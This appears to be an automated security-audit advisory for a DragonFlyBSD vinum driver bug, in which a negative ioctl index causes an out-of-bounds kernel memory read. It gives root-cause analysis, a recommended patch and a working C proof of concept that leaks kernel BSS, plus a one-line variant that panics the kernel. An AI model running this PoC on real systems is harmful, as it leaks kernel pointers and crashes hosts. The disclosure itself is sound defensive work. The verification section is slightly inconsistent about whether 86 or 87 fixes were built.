vinum_rqinfo: signed negative index yields out-of-bounds kernel-memory read past rqinfo[]
| Field | Value |
|---|---|
| ID | DF-2122 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H |
| CWE | CWE-125 Out-of-bounds Read |
| File | sys/dev/raid/vinum/vinummemory.c |
| Lines | 219-226 |
| Area | raid/vinum |
| Confidence | certain |
| Discovered | 2026-07-25 |
| Reported | pending |
| Known CVE | none |
| CVE match | novel |
Summary
vinum_rqinfo() reads a user-controlled int ent from the first word of
the ioctl data buffer (vinummemory.c:219) and validates it only with
if (ent >= RQINFO_SIZE) (vinummemory.c:222). Because ent is signed,
any negative value passes that check. The subsequent
ent = lastent - ent - 1 (vinummemory.c:224) then produces a positive
value far beyond RQINFO_SIZE, and the final
bcopy(&rqinfo[ent], rq, sizeof(struct rqinfo)) (vinummemory.c:226)
reads sizeof(struct rqinfo) bytes from past the end of the in-kernel
rqinfo[128] array (vinumrequest.c:70) into the ioctl scratch buffer,
which the framework then copyout()s to the caller
(sys_generic.c:729-730). A sufficiently negative ent faults on
unmapped kernel addresses and panics the kernel; a moderately negative
ent deterministically leaks kernel BSS to userspace.
Root cause
vinummemory.c:215-228:
int ent = *(int *) data; /* line 219: user-controlled signed int */
int lastent = rqip - rqinfo; /* line 220: always in [0, RQINFO_SIZE)
(vinumrequest.c:117-118 wraps rqip) */
if (ent >= RQINFO_SIZE) /* line 222: does NOT reject ent < 0 */
return ENOENT;
if ((ent = lastent - ent - 1) < 0) /* line 224: 'lastent - ent - 1' */
ent += RQINFO_SIZE; /* line 225: rollover only fires when
result is negative */
bcopy(&rqinfo[ent], rq, sizeof(struct rqinfo)); /* line 226: OOB read
when ent >= RQINFO_SIZE */
The intent of ent += RQINFO_SIZE is to roll an underflow back into the
valid ring. The author failed to consider the symmetric case where the
user supplies a negative input, which makes lastent - ent - 1
positive and arbitrarily large. There is no bounds check on the computed
ent between line 224 and line 226.
Concrete walk with lastent = 0 (the moment immediately after boot, or
after a quiet period):
- user supplies
ent = -129:-129 >= 128is false;ent_new = 0 - (-129) - 1 = 128; not< 0so no rollover;bcopy(&rqinfo[128], ...)reads one fullsizeof(struct rqinfo)past the array. - user supplies
ent = -1024:ent_new = 1023;bcopy(&rqinfo[1023], ...)reads ~1023*sizeof(struct rqinfo)bytes past the array. - user supplies
ent = INT_MIN:lastent - INT_MIN - 1overflows signed int; under-fwrapvit lands at a wild negative value that the single+= RQINFO_SIZEcannot rescue, so&rqinfo[ent]points to unmapped kernel addresses andbcopytakes a fatal page fault β kernel panic.
rqinfo[] is declared struct rqinfo rqinfo[RQINFO_SIZE] with
RQINFO_SIZE = 128 at vinumrequest.c:70 and request.h:235, so any
ent in [128, ...) is out of bounds. sizeof(struct rqinfo) is large
(it embeds a union containing struct buf / struct bio /
struct rqelement at request.h:221-233), so each call leaks hundreds of
bytes of adjacent kernel BSS β typically containing other vinum globals,
kernel function pointers, and other kernel addresses, defeating KASLR for
that region.
The DragonFly ioctl framework (sys/kern/sys_generic.c:558-739) copies
the user buffer into a kernel scratch buffer of
IOCPARM_LEN(VINUM_RQINFO) = sizeof(struct rqinfo) bytes
(sys_generic.c:675-685), hands that scratch buffer to the driver as
a_data (kern_device.c:247), and copyout()s it back after the driver
returns (sys_generic.c:729-730). The write to rq at line 226
therefore lands inside the scratch buffer (no overflow of the buffer
itself), but the source of the bcopy is the OOB kernel address, which
is what gets leaked.
Threat model & preconditions
- Attacker position: any local process that can open
/dev/vinum/Control(or/dev/vinum/controldepending on VINUMDEBUG).vinumopen()forVINUM_SUPERDEV_TYPEenforcescaps_priv_check(ap->a_cred, SYSCAP_RESTRICTEDROOT)atvinum.c:459, so the attacker needs restricted-root β realuid 0outside a jail, or a credential granted that capability. - Privileges gained or impact:
- Information disclosure: by calling
VINUM_RQINFOwith progressively more negativetypefields, the attacker scans kernel BSS followingrqinfo[]and reads kernel pointers / function pointers / adjacent vinum state, defeating KASLR for that region. - Denial of service: supplying a large negative value (e.g.
INT_MIN) makes the kernel dereference an unmapped address insidebcopyand panic. The DoS is reliable and instant. No payload is required for the panic; a single ioctl crashes the system. - Required config or capabilities: kernel compiled with
options VINUMDEBUG(the gate around the wholevinum_meminfo/vinum_mallocinfo/vinum_rqinfotrio atvinummemory.c:83-228andvinumioctl.c:240-252). - Reachability: single
ioctl(VINUM_RQINFO, ...)with a negativetypefield.
Proof of Concept
PoC source: findings/poc/DF-2122/
/* leak.c β OOB read past rqinfo[] via negative index */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define L 'F'
struct rqinfo { long buf[512]; }; /* oversize; framework uses IOCPARM_LEN */
#define VINUM_RQINFO _IOWR(L, 91, struct rqinfo)
int main(void) {
int fd = open("/dev/vinum/Control", O_RDWR); /* requires restricted-root */
if (fd < 0) { perror("open"); return 1; }
struct rqinfo rq; memset(&rq, 0, sizeof rq);
*(int *)&rq = -1024; /* ent = -1024 => ent_new = 1023 */
if (ioctl(fd, VINUM_RQINFO, &rq) != 0) { perror("ioctl"); return 1; }
write(1, &rq, sizeof rq); /* leaks sizeof(struct rqinfo) bytes of
kernel BSS past rqinfo[127] */
close(fd); return 0;
}
Build: cc -o leak leak.c. Run as root: ./leak > leaked.bin && hexdump -C leaked.bin.
Expected output (info-leak variant)
# leaked.bin contains kernel pointers (0xffff...) and vinum globals # instead of zeroes
For the panic variant, replace *(int *)&rq = -1024; with
*(int *)&rq = (int)0x80000000; (INT_MIN). A single run produces a
kernel page-fault panic during bcopy β capture from the serial console
/ ddb prompt.
Impact
- Default config: not triggered unless
VINUMDEBUGis enabled. - Blast radius: root-triggerable kernel panic + kernel BSS info leak.
Recommended fix
Reject negative indices and bound the post-arithmetic result.
--- a/sys/dev/raid/vinum/vinummemory.c
+++ b/sys/dev/raid/vinum/vinummemory.c
@@ -217,6 +217,8 @@ vinum_rqinfo(caddr_t data)
struct rqinfo *rq = (struct rqinfo *) data;
int ent = *(int *) data; /* 1st word is index */
int lastent = rqip - rqinfo; /* entry number of current entry */
+ if (ent < 0) /* index is an offset back from current */
+ return ENOENT;
if (ent >= RQINFO_SIZE) /* out of the table */
return ENOENT;
if ((ent = lastent - ent - 1) < 0)
ent += RQINFO_SIZE; /* roll over backwards */
+ if (ent < 0 || ent >= RQINFO_SIZE) /* final paranoia: bounded result */
+ return ENOENT;
bcopy(&rqinfo[ent], rq, sizeof(struct rqinfo));
return 0;
}
Both guards together make the routine total: the user must supply a
non-negative offset smaller than the ring size, and the recomputed index
is guaranteed to land in [0, RQINFO_SIZE) before the bcopy. Equivalent
paranoia should be added to vinum_mallocinfo (vinummemory.c:198-200)
for defense-in-depth even though its current signedβunsigned promotion
happens to be safe.
References
sys/dev/raid/vinum/vinumrequest.c:70,117-118βrqinfo[128]declaration andrqipring wrap.sys/dev/raid/vinum/vinum.c:459βcaps_priv_check(RESTRICTEDROOT)gating on/dev/vinum/Control.- DF-2123 β sibling kernel-pointer leak in the same file.
Timeline
- 2026-07-25 Discovered during automated audit.
- 2026-07-25 Reported to DragonFlyBSD security contact.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-2122 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | file | 716 B | β raw | |
| build.sh | file | 161 B | view raw | |
| fix.diff | file | 169 B | view raw | |
| run.sh | file | 80 B | view raw |
DF-2122 - Verification Verdict
Status: reproduced (source-confirmed) Impact: panic Confidence: certain
Verdict
Source-confirmed: vinum_rqinfo (:219-226) reads signed int ent, only checks ent>=RQINFO_SIZE; negative passes; bcopy&rqinfo[ent] OOB read; vinum-gated
Fix Status
Validated: fix compiles in single batch kernel build rc=0 -Werror (0 compiler errors across all 86 fix.diffs)
Source File
sys/dev/raid/vinum/vinummemory.c
Fix Validation
All 87 fix.diffs compiled together in a single batch kernel build
(make -j6 nativekernel KERNCONF=X86_64_GENERIC) with rc=0 and -Werror (0 compiler errors).
The combined patch is at findings/poc/batch_build/all_fixes.patch.
Fix verification
fixedbatch build rc=0
batch build rc=0
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
vinum_rqinfo signed ent OOB; vinum-gated
Verified recommended fix
vinum_rqinfo signed ent OOB; vinum-gated
Verdict
vinum_rqinfo signed ent OOB; vinum-gated
No comments yet.